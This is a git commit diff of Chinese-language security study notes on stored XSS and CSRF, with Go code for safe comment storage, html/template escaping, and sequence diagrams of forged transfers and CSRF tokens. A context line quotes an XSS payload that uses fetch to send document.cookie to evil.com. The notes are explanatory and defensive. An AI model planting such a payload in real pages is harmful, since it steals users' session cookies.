vault backup: 2026-05-19 15:17:50

This commit is contained in:
hhs
2026-05-19 15:17:50 +08:00
parent af4f967ec9
commit 8c8c88c73f
3 changed files with 109 additions and 78 deletions
+8 -7
View File
@@ -45,15 +45,18 @@ graph LR
攻击者将恶意脚本存入数据库,每个访问该页面的用户都会中招。经典案例:留言板注入 `<script>fetch('https://evil.com/log?cookie='+document.cookie)</script>`。
```go
// ❌ 危险的存储做法 — 未过滤直接入库
// ❌ 危险的做法 — 存储了原始内容,但渲染时用 text/template 或 Response.Write 直出
func SaveComment(db *sql.DB, userID int, content string) error {
_, err := db.Exec("INSERT INTO comments (user_id, content) VALUES (?, ?)", userID, content)
return err
}
// ⚠️ 注意:存数据的代码本身已是安全的(参数化查询防 SQL 注入)
// 危险在于后续渲染时没有做 HTML 转义 → Stored XSS
// ✅ 正确做法 — 存储时不转义,渲染时编码;或使用富文本 sanitization
// ✅ 正确做法 — 存储不变,渲染时通过 html/template 自动编码输出
func SaveCommentSafely(db *sql.DB, userID int, content string) error {
// ⚠️ 纯文本场景:直接存原始内容,渲染时用 html/template 自动编码
// 纯文本场景:直接存原始内容
// 渲染用 {{.Content}} (html/template 自动转义 < > & " ')
_, err := db.Exec("INSERT INTO comments (user_id, content) VALUES (?, ?)", userID, content)
return err
}
@@ -315,8 +318,7 @@ sequenceDiagram
A->>U: 1. 用户访问恶意页面<br/>伪造 GET /transfer?to=hacker&amt=10000
Note over U: 浏览器自动带上 bank.com 的 Cookie
U->>B: 2. GET /transfer?to=hacker&amt=10000
Cookie: sessionid=abc123...
U->>B: 2. GET /transfer?to=hacker&amt=10000<br/>Cookie: sessionid=abc123...
B->>B: 3. 校验 Session ✓ → 执行转账
B->>U: 4. 返回成功
Note over A,U: 用户毫无感知,钱已被转走
@@ -401,7 +403,7 @@ sequenceDiagram
FE->>SRV: GET /page (页面加载)
SRV->>SRV: 生成 csrf_token = random(256bit)
SRV->>FE: 返回 HTML + hidden input:<br/>&lt;input name="_csrf" value="token_xxx"&gt;
SRV->>FE: 返回 HTML + hidden input 字段(name="_csrf", value="token_xxx")
FE->>FE: Token 存入内存(或 cookie)
FE->>SRV: POST /transfer _csrf=token_xxx
@@ -409,7 +411,6 @@ sequenceDiagram
SRV->>FE: 200 OK
Note over Attacker: 攻击者页面试图伪造请求<br/>但没有 csrf_token
end
Attacker->>SRV: POST /transfer (无 token)
SRV->>SRV: 比对失败 ✗